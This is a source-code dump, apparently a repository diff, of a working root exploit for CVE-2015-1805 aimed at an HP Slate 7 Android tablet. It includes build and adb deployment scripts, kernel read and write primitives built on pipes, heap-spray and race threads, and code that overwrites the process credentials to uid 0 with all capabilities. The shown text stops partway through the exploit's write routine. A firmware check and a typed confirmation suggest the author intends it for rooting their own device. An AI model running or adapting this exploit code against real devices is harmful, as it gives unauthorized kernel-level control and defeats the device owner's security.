 set -euo pipefail
 repo_root="$(cd "$(dirname "$0")/.." && pwd)"
 output_dir="${OUTPUT_DIR:-$repo_root/build}"
 zig_bin="${ZIG_BIN:-zig}"
 if ! command -v "$zig_bin" >/dev/null 2>&1; then
    echo "Zig not found. Set ZIG_BIN=/absolute/path/to/zig." >&2
    exit 1
 fi
 mkdir -p "$output_dir"
 echo "Using: $($zig_bin version)"
 "$zig_bin" cc \
    -target arm-linux-musleabi \
    -static -O0 -marm -pthread -fno-stack-protector \
    -I"$repo_root/src/exploit/stub" \
    -I"$repo_root/src/exploit/common" \
    -I"$repo_root/src/exploit/expIov" \
    "$repo_root/src/exploit/root-main.c" \
    "$repo_root/src/exploit/expIov/iov_exp_main.c" \
    "$repo_root/src/exploit/common/kallsyms.c" \
    "$repo_root/src/exploit/common/exp_sys_call.c" \
    "$repo_root/src/exploit/common/getroot.c" \
    -o "$output_dir/hp-slate7-cve-2015-1805-root"
 "$zig_bin" cc \
    -target arm-linux-musleabi \
    -static -Os -marm -s \
    "$repo_root/src/installer/install-root.c" \
    -o "$output_dir/hp-slate7-install-root"
 "$zig_bin" cc \
    -target arm-linux-musleabi \
    -static -nostdlib -Wl,-e,_start -Wl,--build-id=none -s \
    "$repo_root/src/su/rootsh.S" \
    -o "$output_dir/hp-slate7-su"
 chmod 755 "$output_dir"/hp-slate7-*
 if command -v shasum >/dev/null 2>&1; then
    shasum -a 256 "$output_dir"/hp-slate7-*
 else
    sha256sum "$output_dir"/hp-slate7-*
 fi
@@ -0,0 +1,32 @@
 #!/usr/bin/env bash
 set -euo pipefail
 adb_bin="${ADB_BIN:-adb}"
 expected_fingerprint='hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys'
 expected_kernel='3.0.8+'
 serial="${1:-}"
 if ! command -v "$adb_bin" >/dev/null 2>&1; then
    echo "adb not found. Set ADB_BIN=/absolute/path/to/adb." >&2
    exit 1
 fi
 adb_args=()
 if [[ -n "$serial" ]]; then
    adb_args=(-s "$serial")
 fi
 fingerprint="$($adb_bin "${adb_args[@]}" shell getprop ro.build.fingerprint | tr -d '\r')"
 kernel="$($adb_bin "${adb_args[@]}" shell cat /proc/sys/kernel/osrelease | tr -d '\r')"
 model="$($adb_bin "${adb_args[@]}" shell getprop ro.product.model | tr -d '\r')"
 sdk="$($adb_bin "${adb_args[@]}" shell getprop ro.build.version.sdk | tr -d '\r')"
 printf 'Model:       %s\nFingerprint: %s\nKernel:      %s\nSDK:         %s\n' \
    "$model" "$fingerprint" "$kernel" "$sdk"
 if [[ "$fingerprint" != "$expected_fingerprint" || "$kernel" != "$expected_kernel" ]]; then
    echo "REFUSED: this target does not match the verified device." >&2
    exit 2
 fi
 echo "Target matches the verified HP Slate 7 2800 firmware."
@@ -0,0 +1,77 @@
 #!/usr/bin/env bash
 set -euo pipefail
 repo_root="$(cd "$(dirname "$0")/.." && pwd)"
 adb_bin="${ADB_BIN:-adb}"
 serial=""
 assume_yes=0
 while [[ $# -gt 0 ]]; do
    case "$1" in
        --serial)
            serial="$2"
            shift 2
            ;;
        --yes)
            assume_yes=1
            shift
            ;;
        *)
            echo "Usage: $0 [--serial ADB_SERIAL] [--yes]" >&2
            exit 2
            ;;
    esac
 done
 adb_args=()
 if [[ -n "$serial" ]]; then
    adb_args=(-s "$serial")
 fi
 "$repo_root/scripts/check-target.sh" "$serial"
 if command -v shasum >/dev/null 2>&1; then
    (cd "$repo_root" && shasum -a 256 -c SHA256SUMS)
 else
    (cd "$repo_root" && sha256sum -c SHA256SUMS)
 fi
 if [[ "$assume_yes" != 1 ]]; then
    printf 'Type ROOT to run the kernel exploit on this tablet: '
    read -r confirmation
    [[ "$confirmation" == ROOT ]] || exit 3
 fi
 "$adb_bin" "${adb_args[@]}" push \
    "$repo_root/bin/hp-slate7-cve-2015-1805-root" \
    /data/local/tmp/cve-2015-1805-root
 "$adb_bin" "${adb_args[@]}" push \
    "$repo_root/bin/hp-slate7-install-root" \
    /data/local/tmp/install-root
 "$adb_bin" "${adb_args[@]}" push \
    "$repo_root/bin/hp-slate7-su" \
    /data/local/tmp/rootsh-armv7
 "$adb_bin" "${adb_args[@]}" shell \
    'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
 set +e
 "$adb_bin" "${adb_args[@]}" shell \
    '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
 exploit_rc=$?
 set -e
 if [[ "$exploit_rc" != 0 ]]; then
    echo "Exploit did not complete cleanly. Reboot before any retry." >&2
    exit "$exploit_rc"
 fi
 "$adb_bin" "${adb_args[@]}" wait-for-device
 root_id="$($adb_bin "${adb_args[@]}" shell '/system/xbin/su -c id' | tr -d '\r')"
 echo "$root_id"
 [[ "$root_id" == uid=0\(* ]] || {
    echo "Root verification failed." >&2
    exit 4
 }
 echo "Root verified. See README.RU.md for cleanup and reboot verification."
@@ -0,0 +1,83 @@
 #include <string.h>
 #include <memory.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <stdint.h>
 #include <sys/syscall.h>
 #include <sys/prctl.h>
 #include <fcntl.h>
 #include "exp_sys_call.h"
 #include "kallsyms.h"
 #include "log.h"
 unsigned long int exp_sys_call_address;
 #define PR_GET_SECCOMP  21
 int config_seccomp() {
  if (kallsyms_exist_sym("__audit_seccomp"))
    return 1;
  int ret = prctl(PR_GET_SECCOMP, 0, 0, 0, 0);
    if (ret < 0) {
        switch (errno) {
        case ENOSYS:
            return 0;
        case EINVAL:
                return 0;
        default:
                return 1;
        }
    }
    return 1;
 }
 int config_oabi() {
  return kallsyms_exist_sym("sys_oabi_call_table");
 }
 unsigned long get_sys_table_base_via_swi()
 {
    const void *swi_addr = (const void *)(uintptr_t)0xFFFF0008u;
    unsigned long vector_swi_offset = 0;
    unsigned long vector_swi_instruction = 0;
    unsigned long *vector_swi_addr_ptr = NULL;
    unsigned long offset = 0xC4;
    memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));
    vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;
    if (config_oabi()) {
      offset += 0x24;
    }
    if (config_seccomp()) {
      offset += 0x20;
    }
    vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);
    LOGE("offset:%x\n", offset);
    LOGE("addr:%x\n", (*vector_swi_addr_ptr));
    return *vector_swi_addr_ptr + offset;
 }
 unsigned long get_sys_table_base() {
  unsigned long syscall_base = (unsigned long)kallsyms_get_symbol_address("sys_call_table");
  if (syscall_base)
    return syscall_base;
  return get_sys_table_base_via_swi();
 }
 bool
 setup_exp_sys_call_address(void)
 {
  unsigned long sys_call_table = get_sys_table_base();
  if (sys_call_table == 0)
    return false;
  exp_sys_call_address = (unsigned long int)sys_call_table + __NR_exp_ * 4;
  return true;
 }
@@ -0,0 +1,33 @@
 /*
 * Copyright (C) 2013 Hiroyuki Ikezoe
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */
 #ifndef _EXP_SYS_H_
 #define _EXP_SYS_H_
 #include <stdbool.h>
 #include <stdio.h>
 #define __NR_exp_       222
 extern unsigned long int exp_sys_call_address;
 bool setup_exp_sys_call_address(void);
 unsigned long get_sys_table_base(void);
 #endif /* _EXP_SYS_H_ */
 /*
 vi:ts=2:nowrap:ai:expandtab:sw=2
 */
@@ -0,0 +1,248 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <fcntl.h>
 #include <inttypes.h>
 #include <errno.h>
 #include <sys/syscall.h>
 #include <unistd.h>
 #include <stddef.h>
 #include <string.h>
 #include "threadinfo.h"
 #include "kallsyms.h"
 #define __user
 #define __kernel
 #define QUOTE(str) #str
 #define TOSTR(str) QUOTE(str)
 #define ASMMAGIC (0xBEEFDEAD)
 int read_at_address_pipe(void* address, void* buf, ssize_t len)
 {
 	int ret = 1;
 	int pipes[2];
 	if(pipe(pipes))
 		return 1;
 	if(write(pipes[1], address, len) != len)
 		goto end;
 	if(read(pipes[0], buf, len) != len)
 		goto end;
 	ret = 0;
 end:
 	close(pipes[1]);
 	close(pipes[0]);
 	return ret;
 }
 int write_at_address_pipe(void* address, void* buf, ssize_t len)
 {
 	int ret = 1;
 	int pipes[2];
 	if(pipe(pipes))
 		return 1;
 	if(write(pipes[1], buf, len) != len)
 		goto end;
 	if(read(pipes[0], address, len) != len)
 		goto end;
 	ret = 0;
 end:
 	close(pipes[1]);
 	close(pipes[0]);
 	return ret;
 }
 inline int writel_at_address_pipe(void* address, unsigned long val)
 {
 	return write_at_address_pipe(address, &val, sizeof(val));
 }
 static bool is_keyring_configed() {
 	return kallsyms_exist_sym("keyring_read");
 }
 #define KALLSYMS_RESTRICT "/proc/sys/kernel/kptr_restrict"
 static int set_kallsyms_restrict(int state) {
 	FILE *fd = fopen(KALLSYMS_RESTRICT, "w");
 	int ret = -1;
    if(fd == NULL) {
    	printf("open failed, ppid:%d, gid:%d,%s\n",getppid(), getgid(),strerror(errno));
        return ret;
    }
    if (state == 0)
    	if (fwrite("0", 1, 1, fd) != 1)
    		goto fail;
    else if(state == 1)
    	if (fwrite("2", 1, 1,fd) != 1)
    		goto fail;
    ret = 0;
 fail:	    
 	printf("set kall syms restrict ret:%d\n", ret);
 	fclose(fd);
 	return ret;
 }
 static struct task_security_struct init_tss;
 static unsigned int get_init_sid(void* info, int cred_offset) {
 	unsigned int pid;
 	unsigned int tgid;
 	unsigned int ppid;
 	unsigned int par_offset;
 	unsigned int pid_offset;
 	struct cred* __kernel cred = NULL;
 	unsigned int buff[0x100];
 	unsigned int buff2[0x100];
 	pid = syscall(__NR_gettid);
 	tgid = getpgid(pid);
 	ppid = getppid();
 	unsigned int ptgid = getpgid(ppid);
 	if(read_at_address_pipe(info, &buff, 0x400)) {
 		return 0;
 	}
 	for(pid_offset=0; pid_offset < 0x100; pid_offset++) {
 		if(buff[pid_offset] == pid && buff[pid_offset + 1]==tgid) {
 			par_offset = pid_offset + 3;
 			do {
 				if (buff[par_offset] > KERNEL_START && !(buff[par_offset] & 0x3)) {
 					if (read_at_address_pipe((void *)(uintptr_t)buff[par_offset], &buff2, 0x400)) {
 						return 0;
 					}
 					if (buff2[pid_offset] == ppid) {
 						break;
 					}
 				}
 				par_offset++;
 			}while((par_offset - pid_offset) <=4);
 			if (par_offset - pid_offset > 4) {
 				return 0;
 			}
 			while (ppid != 1) {
 				if (read_at_address_pipe((void *)(uintptr_t)buff2[par_offset], &buff2, 0x400)) {
 					return 0;
 				}
 				ppid = buff2[pid_offset];
 			}
 			struct task_security_struct* __kernel security = NULL;
 			cred = (struct cred *)(uintptr_t)buff2[cred_offset/4];
 			read_at_address_pipe(&cred->security, &security, sizeof(security));
 			if ((unsigned long)security < KERNEL_START) 
 				read_at_address_pipe(0x10 + &cred->security, &security, sizeof(security));
 			if ((unsigned long)security > KERNEL_START) {
 				if(read_at_address_pipe(security, &init_tss, sizeof(init_tss)))
 					return 0;
 				return init_tss.sid;
 			}
 		}
 	}
 	return 0;
 }
 int modify_task_cred_uc(struct thread_info* __kernel info)
 {
 	unsigned int i;
 	unsigned long val;
 	struct cred* __kernel cred = NULL;
 	uid_t process_uid = getuid();
 	gid_t process_gid = getgid();
 	struct thread_info ti;
 	struct task_struct_partial* __user tsp;
 	if(read_at_address_pipe(info, &ti, sizeof(ti)))
 		return 1;
 	tsp = malloc(sizeof(*tsp));
 	if (!tsp)
 		return -ENOMEM;
 	for(i = 0; i < 0x600; i+= sizeof(void*))
 	{
 		struct task_struct_partial* __kernel t = (struct task_struct_partial*)((void*)ti.task + i);
 		if(read_at_address_pipe(t, tsp, sizeof(*tsp)))
 			break;
 		if (is_cpu_timer_valid(&tsp->cpu_timers[0])
 			&& is_cpu_timer_valid(&tsp->cpu_timers[1])
 			&& is_cpu_timer_valid(&tsp->cpu_timers[2])
 			&& tsp->real_cred == tsp->cred)
 		{
 			struct cred candidate;
 			if ((unsigned long)tsp->cred >= KERNEL_START
 				&& !((unsigned long)tsp->cred & 3)
 				&& !read_at_address_pipe(tsp->cred, &candidate,
 					offsetof(struct cred, jit_keyring))
 				&& candidate.usage.counter > 0
 				&& candidate.uid == process_uid
 				&& candidate.gid == process_gid
 				&& candidate.euid == process_uid
 				&& candidate.egid == process_gid) {
 				cred = tsp->cred;
 				break;
 			}
 		}
 	}
 	free(tsp);
 	if(cred == NULL)
 		return 1;
 	val = 0;
 	write_at_address_pipe(&cred->uid, &val, sizeof(cred->uid));
 	write_at_address_pipe(&cred->gid, &val, sizeof(cred->gid));
 	write_at_address_pipe(&cred->suid, &val, sizeof(cred->suid));
 	write_at_address_pipe(&cred->sgid, &val, sizeof(cred->sgid));
 	write_at_address_pipe(&cred->euid, &val, sizeof(cred->euid));
 	write_at_address_pipe(&cred->egid, &val, sizeof(cred->egid));
 	write_at_address_pipe(&cred->fsuid, &val, sizeof(cred->fsuid));
 	write_at_address_pipe(&cred->fsgid, &val, sizeof(cred->fsgid));
 	val = -1;
 	write_at_address_pipe(&cred->cap_inheritable.cap[0], &val, sizeof(cred->cap_inheritable.cap[0]));
 	write_at_address_pipe(&cred->cap_inheritable.cap[1], &val, sizeof(cred->cap_inheritable.cap[1]));
 	write_at_address_pipe(&cred->cap_permitted.cap[0], &val, sizeof(cred->cap_permitted.cap[0]));
 	write_at_address_pipe(&cred->cap_permitted.cap[1], &val, sizeof(cred->cap_permitted.cap[1]));
 	write_at_address_pipe(&cred->cap_effective.cap[0], &val, sizeof(cred->cap_effective.cap[0]));
 	write_at_address_pipe(&cred->cap_effective.cap[1], &val, sizeof(cred->cap_effective.cap[1]));
 	write_at_address_pipe(&cred->cap_bset.cap[0], &val, sizeof(cred->cap_bset.cap[0]));
 	write_at_address_pipe(&cred->cap_bset.cap[1], &val, sizeof(cred->cap_bset.cap[1]));
 	// if (!is_selinux()) {
 	// 	return 0;
 	// }
 	/* HP's rk30_t7h_dvt_defconfig has CONFIG_SECURITY disabled. */
 	// set_kallsyms_restrict(0);
 	// {
 	// 	int zero = 0;
 	// 	int selinux_enabled = kallsyms_get_symbol_address("selinux_enabled");
 	// 	int selinux_enforcing = kallsyms_get_symbol_address("selinux_enforcing");
 	// 	printf("%x,%x\n", selinux_enabled, selinux_enforcing );
 	// 	if(selinux_enabled)
 	// 		write_at_address_pipe(selinux_enabled, &zero, sizeof(zero));
 	// 	if(selinux_enforcing)
 	// 		write_at_address_pipe(selinux_enforcing, &zero, sizeof(zero));
 	// }
 	// set_kallsyms_restrict(1);
 end:
 	return 0;
 }
@@ -0,0 +1,11 @@
 #ifndef GETROOT_H
 #define GETROOT_H
 #include "threadinfo.h"
 int read_at_address_pipe(void* address, void* buf, ssize_t len);
 int write_at_address_pipe(void* address, void* buf, ssize_t len);
 inline int writel_at_address_pipe(void* address, unsigned long val);
 int modify_task_cred_uc(struct thread_info* info);
 #endif /* GETROOT_H */
@@ -0,0 +1,83 @@
 #include <errno.h>
 #include <stdio.h>
 #include <string.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include "kallsyms.h"
 bool
 kallsyms_exist(void)
 {
  struct stat st;
  if (stat("/proc/kallsyms", &st) < 0) {
    return false;
  }
  if  (st.st_mode & S_IROTH) {
    return kallsyms_get_symbol_address("_stext") != 0;
  }
  return false;
 }
 bool kallsyms_exist_sym(const char *symbol_name) 
 {
  FILE *fp;
  char function[BUFSIZ];
  char symbol;
  void *address;
  int ret;
  fp = fopen("/proc/kallsyms", "r");
  if (!fp) {
    return false;
  }
  while(!feof(fp)) {
    ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
    if (ret != 3) {
      break;
    }
    if (!strcmp(function, symbol_name)) {
      fclose(fp);
      return true;
    }
  }
  fclose(fp);
  return false;
 }
 void *
 kallsyms_get_symbol_address(const char *symbol_name)
 {
  FILE *fp;
  char function[BUFSIZ];
  char symbol;
  void *address;
  int ret;
  fp = fopen("/proc/kallsyms", "r");
  if (!fp) {
    return 0;
  }
  while(!feof(fp)) {
    ret = fscanf(fp, "%p %c %s", &address, &symbol, function);
    if (ret != 3) {
      break;
    }
    if (!strcmp(function, symbol_name)) {
      fclose(fp);
      return address;
    }
  }
  fclose(fp);
  return NULL;
 }
@@ -0,0 +1,30 @@
 /*
 * Copyright (C) 2013 Hiroyuki Ikezoe
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */
 #ifndef KALLSYMS_H
 #define KALLSYMS_H
 #include <stdbool.h>
 bool  kallsyms_exist(void);
 void *kallsyms_get_symbol_address(const char *symbol_name);
 bool kallsyms_exist_sym(const char *symbol_name);
 #endif /* KALLSYMS_H */
 /*
 vi:ts=2:nowrap:ai:expandtab:sw=2
 */
@@ -0,0 +1,46 @@
 /******************************************************************************
 *
 * AUTHOR
 *      lihouchen <lihouchen@handscape.com.cn>
 *
 *****************************************************************************/
 #ifndef _LOG_H
 #define _LOG_H
 #include <android/log.h>
 // #define SHOW_DETAIL_STEP 1
 #define DEBUG
 // #define ANDROID_LOG 1
 #ifndef LOG_TAG
 #define LOG_TAG "zroot"
 #endif
 #ifdef DEBUG
 #ifdef ANDROID_LOG
 #define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
 #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG  , LOG_TAG, __VA_ARGS__)
 #define LOGI(...) __android_log_print(ANDROID_LOG_INFO   , LOG_TAG, __VA_ARGS__)
 #define LOGW(...) __android_log_print(ANDROID_LOG_WARN   , LOG_TAG, __VA_ARGS__)
 #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR  , LOG_TAG, __VA_ARGS__)
 #else   // #ifdef ANDROID_LOG
 #define LOGV(...) printf(__VA_ARGS__)
 #define LOGD(...) printf(__VA_ARGS__)
 #define LOGI(...) printf(__VA_ARGS__)
 #define LOGW(...) printf(__VA_ARGS__)
 #define LOGE(...) printf(__VA_ARGS__)
 #endif  // #ifdef ANDROID_LOG
 #else   // #ifdef DEBUG
 #define LOGV(...)
 #define LOGD(...)
 #define LOGI(...)
 #define LOGW(...)
 #define LOGE(...)
 #endif  // #ifdef DEBUG
 //char logbuff[256];
 #endif // _LOG_H
@@ -0,0 +1,124 @@
 #ifndef THREADINFO_H
 #define THREADINFO_H
 #include <stdint.h>
 //64bit structs according to sources from Z5 Lollipop 32.0.A.6.200
 //32bit structs according to sources from Z3C Lollipop 23.4.A.1.200
 #if (__LP64__)
 #define KERNEL_START 0xffffffc000000000
 #define THREAD_SIZE 16384
 #else
 #define KERNEL_START 0xc0000000
 #define THREAD_SIZE 8192
 #endif
 typedef unsigned int u32;
 struct task_struct;
 struct thread_info;
 struct list_head {
        struct list_head *next, *prev;
 };
 static inline struct thread_info* get_thread_info(unsigned long sp)
 {
 	return (struct thread_info*)(sp & ~(THREAD_SIZE - 1));
 }
 static inline struct thread_info* current_thread_info()
 {
 	register unsigned long sp asm ("sp");
 	return get_thread_info(sp);
 }
 static inline int is_cpu_timer_valid(struct list_head* cpu_timer) 
 {
 	if (cpu_timer->next != cpu_timer->prev)
 		return 0;
 	if ((unsigned long)cpu_timer->next < KERNEL_START)
 		return 0;
 	return 1;
 }
 typedef struct {
 	int counter;
 } atomic_t;
 typedef struct kernel_cap_struct {
 	uint32_t cap[2];
 } kernel_cap_t;
 struct task_security_struct {
 	u32 osid;		/* SID prior to last execve */
 	u32 sid;		/* current SID */
 	u32 exec_sid;		/* exec SID */
 	u32 create_sid;		/* fscreate SID */
 	u32 keycreate_sid;	/* keycreate SID */
 	u32 sockcreate_sid;	/* fscreate SID */
 };
 struct task_struct_partial
 {
 	/* ... */
 	struct list_head cpu_timers[3];
 	struct cred *real_cred;
 	struct cred *cred;
 	struct cred *replacement_session_keyring;
 	char comm[16];
 	/* ... */
 };
 struct cred {
 	atomic_t	usage;
 	uid_t		uid;		/* real UID of the task */
 	gid_t		gid;		/* real GID of the task */
 	uid_t		suid;		/* saved UID of the task */
 	gid_t		sgid;		/* saved GID of the task */
 	uid_t		euid;		/* effective UID of the task */
 	gid_t		egid;		/* effective GID of the task */
 	uid_t		fsuid;		/* UID for VFS ops */
 	gid_t		fsgid;		/* GID for VFS ops */
 	unsigned	securebits;	/* SUID-less security management */
 	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
 	kernel_cap_t	cap_permitted;	/* caps we're permitted */
 	kernel_cap_t	cap_effective;	/* caps we can actually use */
 	kernel_cap_t	cap_bset;	/* capability bounding set */
 	unsigned char	jit_keyring;	/* default keyring to attach requested
 					 * keys to */
 #if (__LP64__)
 	void	*session_keyring; /* keyring inherited over fork */
 	void	*process_keyring; /* keyring private to this process */
 	void	*thread_keyring; /* keyring private to this thread */
 	void	*request_key_auth; /* assumed request_key authority */
 #else
 	void	*thread_keyring; /* keyring private to this thread */
 	void	*request_key_auth; /* assumed request_key authority */
 	void	*tgcred; /* thread-group shared credentials */
 #endif
 	struct task_security_struct	*security;	/* subjective LSM security */
 	/* ... */
 };
 #if (__LP64__)
 struct thread_info {
        unsigned long           flags;          /* low level flags */
        unsigned long           addr_limit;     /* address limit */
        struct task_struct      *task;          /* main task structure */
        /* ... */
 };
 #else
 struct thread_info
 {
 	unsigned long flags;
 	int preempt_count;
 	unsigned long addr_limit;
 	struct task_struct *task;
 	/* ... */
 };
 #endif
 #endif /* THREADINFO_H */
@@ -0,0 +1,16 @@
 #ifndef _EXP_IOV_H_
 #define _EXP_IOV_H_
 #ifdef __cplusplus
 extern "C" {
 #endif
 int iov_main(void);
 int iov_probe(void);
 #ifdef __cplusplus 
 }
 #endif
 #endif
@@ -0,0 +1,438 @@
 #define _GNU_SOURCE
 #include <pthread.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <unistd.h>
 #include <netinet/ip.h>
 #include <sys/syscall.h>
 #include <sys/mman.h>
 #include <sys/uio.h>
 #include <sys/resource.h>
 #include <sys/socket.h>
 #include <sys/types.h>  
 #include <sys/prctl.h>
 #include <fcntl.h>
 #include <time.h>
 #ifndef PROBE_ONLY
 #include "getroot.h"
 #include "kallsyms.h"
 #include "exp_sys_call.h"
 #endif
 #include "log.h"
 #ifndef F_SETPIPE_SZ
 #define F_SETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 7)
 #endif
 #ifndef F_GETPIPE_SZ
 #define F_GETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 8)
 #endif
 #ifndef PAGE_SIZE
 #define PAGE_SIZE 4096
 #endif
 #define WAIT_MAX_SECS	30
 #define UDP_SERVER_PORT (5105)
 #define MEMMAGIC (0xDEADBEEF)
 //pipe buffers are seperated in pages
 #define PIPESZ (4096 * 32)
 #define IOVECS (512)
 #define SENDTHREADS (0xE0)
 #define MMAP_ADDR ((void*)0x40000000)
 #define MMAP_SIZE (PAGE_SIZE * 2)
 static volatile int kill_switch = 0;
 static volatile int stop_send = 0;
 static int pipefd[2];
 static struct iovec iovs[IOVECS];
 static volatile unsigned long overflowcheck = MEMMAGIC;
 // #ifndef __aarch64__
 // struct mmsghdr {
 // 	struct msghdr msg_hdr;
 // 	unsigned int  msg_len;
 // };
 // #endif
 static void* readpipe(void* param)
 {
 	while(!kill_switch)
 	{
 		readv((int)((long)param), iovs, ((IOVECS / 2) + 1));
 	}
 	pthread_exit(NULL);
 }
 static int startreadpipe()
 {
 	int ret;
 	pthread_t rthread;
 	// printf("    [+] Start read thread\n");
 	if((ret = pthread_create(&rthread, NULL, readpipe, (void*)(long)pipefd[0])))
 		perror("read pthread_create()");
 	return ret;
 }
 static char wbuf[4096];
 static void* writepipe(void* param)
 {
 	while(!kill_switch)
 	{
 		if(write((int)((long)param), wbuf, sizeof(wbuf)) != sizeof(wbuf))
 			perror("write()");
 	}
 	pthread_exit(NULL);
 }
 static int startwritepipe(long targetval)
 {
 	int ret;
 	unsigned int i;
 	pthread_t wthread;
 	// printf("    [+] Start write thread\n");
 	for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++)
 		((long*)wbuf)[i] = targetval;
 	if((ret = pthread_create(&wthread, NULL, writepipe, (void*)(long)pipefd[1])))
 		perror("write pthread_create()");
 	return ret;
 }
 static void* writemsg(void* param)
 {
 	int sockfd;
 	struct mmsghdr msg = {{ 0 }, 0 };
 	struct sockaddr_in soaddr = { 0 };
 	(void)param; /* UNUSED */
 	soaddr.sin_family = AF_INET;
 	soaddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
 	soaddr.sin_port = htons(UDP_SERVER_PORT);
 	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
 	if (sockfd == -1)
 	{
 		perror("socket client failed");
 		pthread_exit((void*)-1);
 	}
 	if (connect(sockfd, (struct sockaddr *)&soaddr, sizeof(soaddr)) == -1) 
 	{
 		perror("connect failed");
 		pthread_exit((void*)-1);
 	}
 	msg.msg_hdr.msg_iov = iovs;
 	msg.msg_hdr.msg_iovlen = IOVECS;
 	msg.msg_hdr.msg_control = iovs;
 	msg.msg_hdr.msg_controllen = (IOVECS * sizeof(struct iovec));
 	while(!stop_send)
 	{
 		syscall(__NR_sendmmsg, sockfd, &msg, 1, 0);
 		// syscall(__NR_sendmsg, sockfd, &(msg.msg_hdr), 0);
 	}
 	close(sockfd);
 	pthread_exit(NULL);
 }
 static int heapspray(long* target)
 {
 	unsigned int i;
 	void* retval;
 	pthread_t msgthreads[SENDTHREADS];
 	iovs[(IOVECS / 2) + 1].iov_base = (void*)&overflowcheck;
 	iovs[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck);
 	iovs[(IOVECS / 2) + 2].iov_base = target;
 	iovs[(IOVECS / 2) + 2].iov_len = sizeof(*target);
 	for(i = 0; i < SENDTHREADS; i++)
 	{
 		int thread_error = pthread_create(&msgthreads[i], NULL, writemsg, NULL);
 		if(thread_error)
 		{
 			printf("spray pthread_create failed at %u: %d\n", i,
 			       thread_error);
 			stop_send = 1;
 			while (i > 0)
 				pthread_join(msgthreads[--i], &retval);
 			stop_send = 0;
 			return 1;
 		}
 	}
 	sleep(2);
 	stop_send = 1;
 	for(i = 0; i < SENDTHREADS; i++)
 		pthread_join(msgthreads[i], &retval);
 	stop_send = 0;
 	return 0;
 }
 static void* mapunmap(void* param)
 {
 	(void)param; /* UNUSED */
 	while(!kill_switch)
 	{
 		munmap(MMAP_ADDR, MMAP_SIZE);
 		if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
 		{
 			perror("mmap() thread");
 			exit(2);
 		}
 		usleep(50);
 	}
 	pthread_exit(NULL);
 }
 static int startmapunmap()
 {
 	int ret;
 	pthread_t mapthread;
 	if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL)))
 		perror("mapunmap pthread_create()");
 	return ret;
 }
 static int initmappings()
 {
 	memset(iovs, 0, sizeof(iovs));
 	if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1)
 	{
 		perror("mmap()");
 		return -ENOMEM;
 	}
 	//just any buffer that is always available
 	iovs[0].iov_base = &wbuf;
 	//how many bytes we can arbitrary write
 	iovs[0].iov_len = sizeof(long) * 2;
 	iovs[1].iov_base = MMAP_ADDR;
 	//we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
 	iovs[1].iov_len = ((PAGE_SIZE * 2) - iovs[0].iov_len);
 	return 0;
 }
 static int getpipes()
 {
 	int ret;
 	if((ret = pipe(pipefd)))
 	{
 		perror("pipe()");
 		return ret;
 	}
 	ret = (fcntl(pipefd[1], F_SETPIPE_SZ, PIPESZ) == PIPESZ) ? 0 : 1;
 	if(ret)
 		perror("fcntl()");
 	return ret;
 }
 static int setfdlimit()
 {
 	struct rlimit rlim;
 	int ret;
 	if ((ret = getrlimit(RLIMIT_NOFILE, &rlim)))
 	{
 		perror("getrlimit()");
 		return ret;
 	}
 	rlim.rlim_cur = rlim.rlim_max;
 	if((ret = setrlimit(RLIMIT_NOFILE, &rlim)))
 		perror("setrlimit()");
 	return ret;
 }
 static int setprocesspriority()
 {
 	int ret;
 	if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1)
 		perror("setpriority()");
 	return ret;
 }
 static int write_at_address(void* target, unsigned long targetval)
 {
 	kill_switch = 0;
 	overflowcheck = MEMMAGIC;
 	int timeout;
 	if(startmapunmap())
 		return 1;
 	if(startwritepipe(targetval))
 		return 1;
 	if(heapspray(target))
 		return 1;
 	sleep(1);
 	if(startreadpipe())
 		return 1;
 	for (timeout = 0; timeout < WAIT_MAX_SECS; timeout++)
 	{
 		if(overflowcheck != MEMMAGIC)
 		{
 			LOGD("    [+] Done\n");
 			kill_switch = 1;
 			return 0;
 		}
 		sleep(1);
 	}
